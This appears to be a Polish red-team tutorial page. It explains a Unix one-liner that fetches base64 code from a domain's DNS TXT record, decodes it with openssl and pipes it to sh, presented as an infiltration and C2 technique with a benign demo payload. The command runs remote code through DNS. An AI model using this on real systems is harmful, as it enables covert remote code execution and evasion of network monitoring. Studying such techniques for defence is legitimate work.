host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh - uruchom payload z DNS na *nixach
tty1 · bash
$ host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh
#Bash#RedTeam#DNS#Unix#Infil#C2
W /pl/001d przygotowaliśmy dla systemów Windows onelinera pobierającego kawałek kodu w base64 wykorzystując rekord TXT pewnej domeny. Analogicznie możemy zrobić dla systemów Unix/Linux/MacOS, gdzie domyślnie zainstalowane są takie polecenia jak host, awk, openssl, sh.
Do pobrania rekordu TXT danej domeny DNS wykorzystujemy polecenie host:
🐉 drg@dhq[~]$ host -t txt echo.aptmc.pl
echo.aptmc.pl descriptive text "ZWNobyAiSSdtIGB3aG9hbWlgLCBhbmQgdGhlIGtlcm5lbCBpcyBgdW5hbWUgLWFgIgo="
🐉 drg@dhq[~]$
Oczywiście moglibyśmy też wykorzystać nslookup czy dig. Dalej wykorzystując awk pobieramy to co jest w środku cudzysłowu, po czym dekodujemy z wykorzystaniem openssl, który również zainstalowany jest praktycznie w każdym systemie Unix/Linux/MacOS i wszędzie działa tak samo. Po zdekodowaniu przekazujemy nasz payload do uruchomienia przez powłokę: |sh.